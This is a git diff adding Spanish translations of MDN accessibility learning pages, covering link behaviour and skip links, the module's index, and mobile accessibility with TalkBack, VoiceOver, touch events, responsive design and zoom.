+<p>Si se utiliza un icono en lugar de texto para indicar este tipo de comportamiento de enlaces, asegúrate de que incluya una {{HTMLAttrxRef("alt", "img", "descripción alternativa", "true")}}.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/hypertext/hypertext_links">WebAIM: Links and Hypertext - Hypertext Links</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN Understanding WCAG, Guideline 3.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G200.html">G200: Opening new windows and tabs from a link only when necessary | W3C Techniques for WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G201.html">G201: Giving users advanced warning when opening a new window | W3C Techniques for WCAG 2.0</a></li>
+</ul>
+
+<h4 id="Enlaces_de_salto">Enlaces de salto</h4>
+
+<p>Un enlace de salto, también conocido como "skipnav", es un elemento que se coloca lo más cerca posible del elemento de apertura {{HTMLElement("body")}} que enlaza con el comienzo del contenido principal de la página. Este enlace permite a las personas evitar el contenido repetido en varias páginas de un sitio web, como el encabezado y la navegación principal.</p>
+
+<p>Los enlaces de salto son especialmente útiles para las personas que navegan con la ayuda de tecnología de asistencia, como controles de interruptores, comandos de voz o varitas bucales o para la cabeza, con las que el acto de moverse a través de enlaces repetitivos puede ser una tarea laboriosa.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/skipnav/">WebAIM: "Skip Navigation" Links</a></li>
+ <li><a href="https://www.a11yproject.com/posts/2013-05-11-skip-nav-links/">How–to: Use Skip Navigation links - The A11Y Project</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h4 id="Proximidad">Proximidad</h4>
+
+<p>Si tenemos grandes cantidades de contenido interactivo, incluidas anclas, colocadas muy cerca visualmente entre sí, deben tener espacio insertado para separarlas. Este espaciado es beneficioso para las personas que sufren problemas de control de la motricidad fina y pueden activar accidentalmente el contenido interactivo incorrecto mientras navegan.</p>
+
+<p>El espaciado se puede crear usando propiedades CSS como {{CSSxRef("margin")}}.</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Hand tremors and the giant-button-problem - Axess Lab</a></li>
+</ul>
+
+<h2 id="¡Pon_a_prueba_tus_habilidades!">¡Pon a prueba tus habilidades!</h2>
+
+<p>Ha llegado al final de este artículo, pero ¿recuerdas la información más importante? Consulta <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Accessibility/Test_your_skills:_HTML_accessibility">Test your skills: HTML Accessibility</a> para verificar que has retenido esta información antes de continuar.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Ahora ya deberías conocer bien la escritura de HTML accesible para la mayoría de las ocasiones. Nuestro artículo de conceptos básicos de WAI-ARIA también llenará algunos vacíos en este conocimiento, pero este artículo se ha ocupado de los conceptos básicos. A continuación, exploraremos CSS y JavaScript, y cómo la accesibilidad se ve afectada por su buen o mal uso.</p>
+
+<p>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li>
+</ul>
diff --git a/files/es/learn/accessibility/index.html b/files/es/learn/accessibility/index.html
new file mode 100644
index 0000000000..fc7cdeeb3c
--- /dev/null
+++ b/files/es/learn/accessibility/index.html
@@ -0,0 +1,60 @@
+---
+title: Accesibilidad
+slug: Learn/Accessibility
+tags:
+  - ARIA
+  - Accesibilidad
+  - Aprender
+  - Artículos
+  - Aterrizaje
+  - CSS
+  - CodificaciónDeSecuenciasDeComandos
+  - HTML
+  - JavaScript
+  - Principiantes
+  - modulo
+translation_of: Learn/Accessibility
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Aprender algo de HTML, CSS y JavaScript es útil si deseas convertirte en un desarrollador web, pero tu conocimiento debe ir más allá de simplemente usar esas tecnologías, debes usarlas de manera responsable para maximizar la audiencia de tus sitios web y evitar impedir su uso a nadie. Para lograr esto, debes adherirte a las mejores prácticas generales (que se muestran en los temas de <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a>, <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a> y <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript">JavaScript</a>), <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">pruebas cruzadas del navegador</a> y considerar la accesibilidad desde el principio. En este módulo, cubriremos este último en detalle.</p>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Para aprovechar al máximo este módulo, sería una buena idea trabajar al menos en los dos primeros módulos de los temas de <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a>, <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a>, y <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript">JavaScript</a> o quizás mejor, trabajar en las partes relevantes del módulo de accesibilidad como tu trabajas a través de los temas relacionados con la tecnología.</p>
+
+<div class="note">
+<p>Nota: si está trabajando en una computadora / tableta / otro dispositivo donde no tiene la capacidad de crear sus propios archivos, puede probar la mayoría de los ejemplos de código en un programa de codificación en línea como <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">¿Qué es la accesibilidad?</a></dt>
+ <dd>Este artículo inicia el módulo con un buen vistazo a lo que realmente es la accesibilidad: esto incluye qué grupos de personas debemos considerar y por qué, qué herramientas utilizan las diferentes personas para interactuar con la web y cómo podemos hacer que la accesibilidad sea parte de nuestro flujo de trabajo de desarrollo web.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/HTML">HTML:Una buena base para la accesibilidad</a></dt>
+ <dd>Se puede hacer accesible una gran cantidad de contenido web simplemente asegurándose de que los elementos HTML concretos se utilizan para un propósito correcto en todo momento. Este artículo analiza en detalle cómo se puede usar HTML para garantizar la máxima accesibilidad.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">Mejores prácticas en accesibilidad en CSS y JavaScript </a></dt>
+ <dd>CSS y JavaScript, cuando se usan correctamente, también tienen el potencial de permitir experiencias web accesibles, pero si se usan mal pueden dañar significativamente la accesibilidad. Este artículo describe algunas de las mejores prácticas de CSS y JavaScript que deben considerarse para garantizar que incluso el contenido complejo sea lo más accesible posible.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA básico</a></dt>
+ <dd>Siguiendo con el artículo anterior, a veces puede ser difícil realizar controles complejos de IU que involucren HTML no semántico y contenido dinámico actualizado con JavaScript. WAI-ARIA es una tecnología que puede ayudar a resolver estos problemas agregando más semántica que los navegadores y las tecnologías de asistencia pueden reconocer y utilizar para que los usuarios sepan lo que está sucediendo. Aquí mostraremos cómo usarlo a un nivel básico para mejorar la accesibilidad.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/Multimedia">Multimedia accesible</a></dt>
+ <dd>Otra categoría de contenido que puede crear problemas de accesibilidad es multimedia: el contenido de video, audio e imagen debe contar con alternativas textuales adecuadas para que las tecnologías de asistencia y sus usuarios puedan entenderlos. Este artículo muestra cómo.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/Mobile">Accesibilidad móvil</a></dt>
+ <dd>Dado que el acceso a la web en dispositivos móviles es tan popular, y que las plataformas populares como iOS y Android tienen herramientas de accesibilidad completas, es importante considerar la accesibilidad de su contenido web en estas plataformas. Este artículo analiza las consideraciones de accesibilidad específicas para dispositivos móviles.</dd>
+</dl>
+
+<h2 id="Valoraciones">Valoraciones</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Resolución de problemas de accesibilidad</a></dt>
+ <dd>En la evaluación de este módulo, te presentamos un sitio simple con una serie de problemas de accesibilidad que necesitas diagnosticar y corregir.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://egghead.io/courses/start-building-accessible-web-applications-today">Empieza hoy a desarrollar aplicaciones web accesibles</a>— Una excelente serie de videos tutoriales por Marcy Sutton.</li>
+ <li><a href="https://dequeuniversity.com/resources/">Recursos de la Universidad Deque </a>— incluye ejemplos de códigos, referencias de lectores de pantalla y otros recursos útiles.</li>
+ <li><a href="http://webaim.org/resources/">Recursos de WebAIM </a>— incluye guías, listas de verificación, herramientas, y más.</li>
+</ul>
diff --git a/files/es/learn/accessibility/mobile/index.html b/files/es/learn/accessibility/mobile/index.html
new file mode 100644
index 0000000000..4762e5220c
--- /dev/null
+++ b/files/es/learn/accessibility/mobile/index.html
@@ -0,0 +1,346 @@
+---
+title: Mobile accessibility
+slug: Learn/Accessibility/Mobile
+translation_of: Learn/Accessibility/Mobile
+---
+<div>
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div>
+
+<p class="summary">Dado que el acceso a la web en dispositivos móviles es tan popular, y las plataformas populares como iOS y Android tienen herramientas de accesibilidad completas, es importante considerar la accesibilidad de su contenido web en estas plataformas. Este artículo analiza las consideraciones de accesibilidad específicas para dispositivos móviles.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de computación, una comprensión básica de HTML, CSS y JavaScript, y una comprensión de los <a href="/en-US/docs/Learn/Accessibility">artículos previos del curso</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Para comprender qué problemas existen con la accesibilidad en dispositivos móviles y cómo superarlos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Accessibility_on_mobile_devices">Accessibility on mobile devices</h2>
+
+<p> </p>
+
+<p>El estado de accesibilidad, y el soporte para los estándares web en general, es bueno en los dispositivos móviles modernos. Atrás quedaron los días en que los dispositivos móviles utilizaban tecnologías web completamente diferentes para los navegadores de escritorio, lo que obligaba a los desarrolladores a utilizar el rastreo de los navegadores y les servía sitios completamente separados (aunque muchas empresas aún detectan el uso de dispositivos móviles y les ofrecen un dominio móvil separado).</p>
+
+<p>En estos días, los dispositivos móviles en general pueden manejar sitios web "completos", y las plataformas principales incluso tienen lectores de pantalla incorporados para permitir que los usuarios con discapacidades visuales los utilicen con éxito. Los navegadores móviles modernos tienden a tener un buen soporte para <a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a>, también.</p>
+
+<p> </p>
+
+<p> </p>
+
+<p>Para hacer que un sitio web sea accesible y utilizable en dispositivos móviles, solo debe seguir las buenas prácticas generales de diseño web y accesibilidad.</p>
+
+<p>Hay algunas excepciones que requieren una consideración especial para el móvil; Los principales son:</p>
+
+<p> </p>
+
+<ul>
+ <li>Mecanismos de control: asegúrese de que los controles de la interfaz, como los botones, estén accesibles en los móviles (es decir, principalmente en la pantalla táctil), así como en las computadoras de escritorio / portátiles (principalmente en el mouse / teclado).</li>
+ <li>Entrada del usuario: haga que los requisitos de entrada del usuario sean lo más fáciles posible en el móvil (por ejemplo, en formularios, siga escribiendo al mínimo).</li>
+ <li>Diseño receptivo: asegúrese de que los diseños funcionen en dispositivos móviles, conserve los tamaños de descarga de imágenes y piense en la provisión de imágenes para pantallas de alta resolución.</li>
+</ul>
+
+<h2 id="Resumen_de_las_pruebas_del_lector_de_pantalla_en_Android_e_iOS">Resumen de las pruebas del lector de pantalla en Android e iOS</h2>
+
+<p> </p>
+
+<p>Las plataformas móviles más comunes tienen lectores de pantalla completamente funcionales. Estos funcionan de la misma manera que los lectores de pantalla de escritorio, excepto que se operan en gran parte mediante gestos táctiles en lugar de combinaciones de teclas.</p>
+
+<p>Veamos los dos principales: TalkBack en Android y VoiceOver en iOS.</p>
+
+<p> </p>
+
+<h3 id="Android_TalkBack">Android TalkBack</h3>
+
+<p> </p>
+
+<p>El lector de pantalla TalkBack está integrado en el sistema operativo Android.</p>
+
+<p>Para activarlo, seleccione Configuración&gt; Accesibilidad&gt; TalkBack, y luego presione el interruptor deslizante para activarlo. Siga las indicaciones adicionales en pantalla que le presenten.</p>
+
+<p><strong>Nota</strong>: las versiones anteriores de TalkBack están activadas de formas <a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">formas ligeramente distintas.</a></p>
+
+<p>Cuando TalkBack esté activado, los controles básicos de su dispositivo Android serán un poco diferentes. Por ejemplo:</p>
+
+<ol>
+ <li>Pulsar una aplicación solo lo seleccionará, y el dispositivo leerá qué es la aplicación.</li>
+ <li>Al deslizar hacia la izquierda y hacia la derecha, se moverá entre las aplicaciones o los botones / controles si se encuentra en una barra de control. El dispositivo leerá cada opción.</li>
+ <li>Si toca dos veces en cualquier lugar, se abrirá la aplicación / seleccione la opción.</li>
+ <li>También puede "explorar con un toque": mantenga el dedo presionado sobre la pantalla y arrástrelo, y su dispositivo leerá las diferentes aplicaciones / elementos con los que se mueve.</li>
+</ol>
+
+<p>Si desea desactivar TalkBack:</p>
+
+<ol>
+ <li>Navega a tu aplicación de configuración utilizando los gestos anteriores.</li>
+ <li>Vaya a Accesibilidad&gt; TalkBack.</li>
+ <li>Navegue hasta el interruptor deslizante y actívelo para apagarlo.</li>
+</ol>
+
+<p>Nota: Puede acceder a la pantalla de inicio en cualquier momento deslizando hacia arriba y hacia la izquierda con un movimiento suave. Si tiene más de una pantalla de inicio, puede moverse entre ellos deslizando dos dedos hacia la izquierda y hacia la derecha.</p>
+
+<p>Para obtener una lista más completa de los gestos de TalkBack, consulte <a href="https://support.google.com/accessibility/android/answer/6151827">Usar gestos TalkBack. </a></p>
+
+<h4 id="Desbloqueo_del_telefono">Desbloqueo del telefono</h4>
+
+<p> </p>
+
+<p>Cuando TalkBack está activado, desbloquear el teléfono es un poco diferente.</p>
+
+<p>Puede hacer un deslizamiento con dos dedos hacia arriba desde la parte inferior de la pantalla de bloqueo. Si ha establecido un código de acceso o un patrón para desbloquear su dispositivo, se lo dirigirá a la pantalla de entrada correspondiente para ingresarlo.</p>
+
+<p>También puede explorar tocando para encontrar el botón Desbloquear en la parte inferior central de la pantalla y luego toque dos veces.</p>
+
+<p> </p>
+
+<h4 id="Menús_globales_y_locales">Menús globales y locales</h4>
+
+<p> </p>
+
+<p>TalkBack le permite acceder a los menús de contexto global y local, donde quiera que haya navegado en el dispositivo. El primero proporciona opciones globales relacionadas con el dispositivo en su conjunto, y el segundo proporciona opciones relacionadas con la aplicación / pantalla actual en la que se encuentra.</p>
+
+<p>Para llegar a estos menús:</p>
+
+<p> </p>
+
+<ol>
+ <li>Acceda al menú global deslizando rápidamente hacia abajo y luego a la</li>
+ <li>Acceda al menú local deslizando rápidamente hacia arriba y luego a la</li>
+ <li>Desliza el dedo hacia la izquierda y hacia la derecha para alternar entre las diferentes opciones.</li>
+ <li>Una vez que haya seleccionado la opción que desea, haga doble clic para elegir esa opción.</li>
+</ol>
+
+<p>Para obtener detalles sobre todas las opciones disponibles en los menús de contexto global y local, consulte <a href="https://support.google.com/accessibility/android/answer/6007066">Uso global y local contextual de menús</a>.</p>
+
+<p> </p>
+
+<h4 id="Navegando_por_páginas_web">Navegando por páginas web</h4>
+
+<p> </p>
+
+<p>Puede usar el menú contextual local mientras está en un navegador web para encontrar opciones para navegar por páginas web usando solo los encabezados, controles de formulario o enlaces, o navegar línea por línea, etc.</p>
+
+<p>Por ejemplo, con TalkBack activado:</p>
+
+<ol>
+ <li>    Abra su navegador web.</li>
+ <li>    Activar la barra de URL.</li>
+ <li>    Ingrese una página web que tenga muchos encabezados, como la página principal de bbc.co.uk. Para ingresar el texto de la URL:
+  <ul>
+   <li>Seleccione la barra de URL deslizando hacia la izquierda / derecha hasta que llegue a ella, y luego toque dos veces.</li>
+   <li>Mantenga presionado el teclado virtual hasta que obtenga el carácter que desea y luego suelte el dedo para escribirlo. Repita para cada personaje.</li>
+   <li>Una vez que hayas terminado, encuentra la tecla Intro y presiónala.</li>
+  </ul>
+ </li>
+ <li>    Desliza el dedo hacia la izquierda y hacia la derecha para moverte entre los diferentes elementos de la página.</li>
+ <li>    Deslice hacia arriba y hacia la derecha con un movimiento suave para ingresar al menú de contenido local.</li>
+ <li>    Deslízate hacia la derecha hasta que encuentres la opción "Encabezados y puntos de referencia".</li>
+ <li>    Pulse dos veces para seleccionarlo. Ahora podrá desplazarse hacia la izquierda y hacia la derecha para moverse entre encabezados y puntos de referencia de ARIA.</li>
+ <li>    Para volver al modo predeterminado, ingrese nuevamente al menú de contexto local deslizando hacia arriba y a la derecha, seleccione "Predeterminado", y luego toque dos veces para activar.</li>
+</ol>
+
+<p><strong>Nota</strong>: consulte <a href="https://support.google.com/accessibility/android/answer/6283677?hl=en&amp;ref_topic=3529932">Empezar en Android con TalkBack</a> para obtener una documentación más completa.</p>
+
+<p> </p>
+
+<h3 id="iOS_VoiceOver">iOS VoiceOver</h3>
+
+<p> </p>
+
+<p>Una versión móvil de VoiceOver está integrada en el sistema operativo iOS.</p>
+
+<p>Para activarlo, vaya a la aplicación de configuración y seleccione General&gt; Accesibilidad&gt; VoiceOver. Presione el control deslizante VoiceOver para habilitarlo (también verá otras opciones relacionadas con VoiceOver en esta página).</p>
+
+<p>Una vez que VoiceOver esté habilitado, los gestos de control básico de iOS serán un poco diferentes:</p>
+
+<ol>
+ <li>    Un solo toque hará que se seleccione el elemento que tocas; su dispositivo dirá el elemento que ha tocado.</li>
+ <li>    También puede navegar por los elementos en la pantalla deslizando hacia la izquierda y hacia la derecha para moverse entre ellos, o deslizando el dedo por la pantalla para moverse entre diferentes elementos (cuando encuentra el elemento que desea, puede quitar el dedo para seleccionarlo). ).</li>
+ <li>    Para activar el elemento seleccionado (por ejemplo, abrir una aplicación seleccionada), toque dos veces en cualquier lugar de la pantalla.</li>
+ <li>    Desliza tres dedos para desplazarte por una página.</li>
+ <li>    Toque con dos dedos para realizar una acción relevante para el contexto, por ejemplo, tomar una foto mientras está en la aplicación de la cámara.</li>
+</ol>
+
+<p>Para apagarlo nuevamente, navegue de nuevo a Configuración&gt; General&gt; Accesibilidad&gt; VoiceOver usando los gestos anteriores, y active el control deslizante VoiceOver para desactivarlo.</p>
+
+<p> </p>
+
+<h4 id="Desbloquear_el_teléfono">Desbloquear el teléfono</h4>
+
+<p>Para desbloquear el teléfono, debe presionar el botón de inicio (o deslizar) de manera normal. Si tiene un código de acceso configurado, puede seleccionar cada número deslizando / deslizando (como se explicó anteriormente) y luego toque dos veces para ingresar cada número cuando haya encontrado el correcto.</p>
+
+<h4 id="Usando_el_rotor">Usando el rotor</h4>
+
+<p> </p>
+
+<p>Cuando VoiceOver está activado, tiene una función de navegación llamada Rotor disponible para usted, que le permite elegir rápidamente entre una serie de opciones útiles comunes. Para usarlo:</p>
+
+<ol>
+ <li>Gira dos dedos alrededor de la pantalla como si estuvieras girando un dial. Cada opción se leerá en voz alta a medida que gire más. Puede ir hacia adelante y hacia atrás para recorrer las opciones.</li>
+ <li>Una vez que hayas encontrado la opción que
+  <ul>
+   <li>Suelte los dedos para seleccionarlo.</li>
+   <li>Si es una opción que puede repetir el valor de (como Volumen o Velocidad de voz), puede deslizar hacia arriba o hacia abajo para aumentar o disminuir el valor del elemento seleccionado.</li>
+  </ul>
+ </li>
+</ol>
+
+<p>Las opciones disponibles en el Rotor son sensibles al contexto; serán diferentes según la aplicación o la vista en la que se encuentre (consulte a continuación un ejemplo).</p>
+
+<p> </p>
+
+<h4 id="Navegando_por_páginas_web_2">Navegando por páginas web</h4>
+
+<p>Vamos a hacer una prueba a navegar con VoiceOver:</p>
+
+<ol>
+ <li><span class="tlid-translation translation">Abra su navegador web.</span></li>
+ <li><span class="tlid-translation translation">Activar la barra de URL.</span></li>
+ <li><span class="tlid-translation translation">Ingrese una página web que tenga muchos encabezados, como la página principal de bbc.co.uk. Para ingresar el texto de la URL:</span>
+  <ul>
+   <li><span class="tlid-translation translation">Seleccione la barra de URL deslizando hacia la izquierda / derecha hasta que llegue a ella, y luego toque dos veces.</span></li>
+   <li><span class="tlid-translation translation">Para cada personaje, mantenga presionado el teclado virtual hasta que obtenga el carácter que desea y luego suelte el dedo para seleccionarlo. </span><span class="tlid-translation translation">Pulse dos veces para escribirlo.</span></li>
+   <li><span class="tlid-translation translation">Una vez que hayas terminado, encuentra la tecla Intro y presiónala.</span></li>
+  </ul>
+ </li>
+ <li><span class="tlid-translation translation">Desliza el dedo hacia la izquierda y hacia la derecha para moverte entre los elementos de la página. Puede tocar dos veces un elemento para seleccionarlo (por ejemplo, siga un enlace).</span></li>
+ <li><span class="tlid-translation translation">Por defecto, la opción de Rotor seleccionada será Speaking Rate; actualmente puede deslizar hacia arriba y hacia abajo para aumentar o disminuir la frecuencia de habla.</span></li>
+ <li><span class="tlid-translation translation">Ahora gire dos dedos alrededor de la pantalla como un cuadrante para mostrar el rotor y muévase entre sus opciones. Aquí hay algunos ejemplos de las opciones disponibles:</span>
+  <ul>
+   <li><span class="tlid-translation translation">Tasa de habla: Cambia la tasa de habla.</span></li>
+   <li><span class="tlid-translation translation">Contenedores: muévete entre los diferentes contenedores semánticos de la página.</span></li>
+   <li><span class="tlid-translation translation">Encabezados: muévete entre los encabezados de la página.</span></li>
+   <li><span class="tlid-translation translation">Enlaces: Mover entre enlaces en la página.</span></li>
+   <li><span class="tlid-translation translation">Controles de formulario: muévase entre los controles de formulario en la página.</span></li>
+   <li><span class="tlid-translation translation">Idioma: Mover entre diferentes traducciones, si están disponibles.</span></li>
+  </ul>
+ </li>
+ <li><span class="tlid-translation translation">Seleccionar encabezados. Ahora podrá desplazarse hacia arriba y hacia abajo para moverse entre los encabezados de la página.</span></li>
+</ol>
+
+<p><span class="tlid-translation translation"><strong>Nota</strong>: Para obtener una referencia más completa que cubra los gestos de VoiceOver disponibles y otros consejos sobre las pruebas de accesibilidad en iOS, consulte </span><a href="https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3"> Probar la accesibilidad en su dispositivo con VoiceOver</a><span class="tlid-translation translation">.</span></p>
+
+<p> </p>
+
+<h2 id="Mecanismos_de_control">Mecanismos de control</h2>
+
+<p>En nuestro artículo de accesibilidad de CSS y JavaScript, examinamos la idea de eventos que son específicos de un determinado tipo de mecanismo de control (<a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events">eventos ratón-específicos</a>). Para resumir, esto causa problemas de accesibilidad porque otros mecanismos de control no pueden activar la funcionalidad asociada.</p>
+
+<p>Como ejemplo, el evento de clic es bueno en términos de accesibilidad: se puede invocar un controlador de eventos asociado haciendo clic en el elemento en el que está configurado el controlador, haciendo tabulaciones en él y presionando Intro / Retorno, o tocándolo en un dispositivo de pantalla táctil. Pruebe nuestro ejemplo <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html">simple-button-example.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html">véalo en vivo</a>) para ver lo que queremos decir.</p>
+
+<p>Alternativamente, los eventos específicos del mouse como <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmousedown">mousedown</a> y <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmouseup">mouseup</a> crean problemas: sus controladores de eventos no pueden invocarse usando controles que no sean del mouse.</p>
+
+<p>Si intenta controlar nuestro ejemplo de  <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html">simple-box-drag.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html">ver ejemplo en vivo</a>) con el teclado o el toque, verá el problema. Esto ocurre porque estamos usando un código como el siguiente:</p>
+
+<pre><code>div.onmousedown = function() {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  movePanel();
+}
+
+document.onmouseup = stopMove;</code></pre>
+
+<p>Para habilitar otras formas de control, debe usar eventos diferentes pero equivalentes; por ejemplo, los eventos táctiles funcionan en dispositivos con pantalla táctil:</p>
+
+<pre><code>div.ontouchstart = function(e) {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  positionHandler(e);
+  movePanel();
+}
+
+panel.ontouchend = stopMove;</code></pre>
+
+<p>Hemos proporcionado un ejemplo sencillo que muestra cómo usar el mouse y los eventos táctiles juntos <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html">multi-control-box-drag.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html">ver ejemplo en vivo</a>).</p>
+
+<p><strong>Nota:</strong> También puede ver ejemplos totalmente funcionales que muestran cómo implementar diferentes mecanismos de control en <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Control_mechanisms">Implementando mecanismos de control de juego.</a></p>
+
+<h2 id="Diseño_de_respuesta">Diseño de respuesta</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Progressive/Responsive">El diseño de respuesta</a> es la práctica de hacer que sus diseños y otras características de sus aplicaciones cambien dinámicamente dependiendo de factores como el tamaño de la pantalla y la resolución, para que sean utilizables y accesibles para usuarios de diferentes tipos de dispositivos.</p>
+
+<p>En particular, los problemas más comunes que deben abordarse para dispositivos móviles son:</p>
+
+<p> </p>
+
+<ul>
+ <li>Adecuación de diseños para dispositivos móviles. Un diseño de varias columnas no funcionará tan bien en una pantalla estrecha, por ejemplo, y es posible que deba aumentar el tamaño del texto para que sea legible. Dichos problemas se pueden resolver creando un diseño sensible utilizando tecnologías tales como <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries">mconsultas de medios, </a><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">vista</a> and <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>. .</li>
+ <li>Conservando tamaños de imagen descargados. En general, los dispositivos de pantalla pequeña no necesitarán imágenes tan grandes como sus contrapartes de escritorio, y es más probable que estén en conexiones de red lentas. Por lo tanto, es aconsejable servir imágenes más pequeñas para dispositivos de pantalla estrecha, según corresponda. Puede manejar esto <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images"> técnicas de imagenes de respuesta</a>.</li>
+ <li>Pensando en altas resoluciones. Muchos dispositivos móviles tienen pantallas de alta resolución y, por lo tanto, necesitan imágenes de mayor resolución para que la pantalla pueda seguir luciendo nítida y nítida. Nuevamente, puede servir imágenes según corresponda utilizando técnicas de imágenes sensibles. Además, muchos requisitos de imagen se pueden cumplir con el formato de imágenes vectoriales SVG, que es compatible con todos los navegadores actuales. SVG tiene un tamaño de archivo pequeño y se mantendrá nítido independientemente del tamaño que se muestre (consulte <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Agregar gráficos vectoriales a la web</a> para obtener más detalles).</li>
+</ul>
+
+<p><strong>Nota</strong>: No proporcionaremos una discusión completa de las técnicas de diseño receptivo aquí, ya que están cubiertas en otros lugares alrededor de MDN (vea los enlaces anteriores).</p>
+
+<h3 id="Consideraciones_específicas_para_móviles">Consideraciones específicas para móviles</h3>
+
+<p>Hay otros aspectos importantes a tener en cuenta al hacer que los sitios sean más accesibles en dispositivos móviles. Hemos enumerado un par aquí, pero agregaremos más cuando pensemos en ellos.</p>
+
+<h4 id="No_deshabilitar_el_zoom">No deshabilitar el zoom</h4>
+
+<p>Usando viewport, es posible deshabilitar el zoom, usando un código como este en su {{htmlelement("head")}}:</p>
+
+<pre><code>&lt;meta name="viewport" content="user-scalable=no"&gt;</code></pre>
+
+<p>Nunca debe hacer esto si es posible: muchas personas confían en el zoom para poder ver el contenido de su sitio web, por lo que eliminar esta funcionalidad es una muy mala idea. Hay ciertas situaciones en las que el zoom podría romper la interfaz de usuario; en tales casos, si cree que necesita deshabilitar el zoom, debe proporcionar algún otro tipo de equivalente, como un control para aumentar el tamaño del texto de una manera que no rompa su interfaz de usuario.</p>
+
+<h4 id="Mantener_los_menús_accesibles.">Mantener los menús accesibles.</h4>
+
+<p> </p>
+
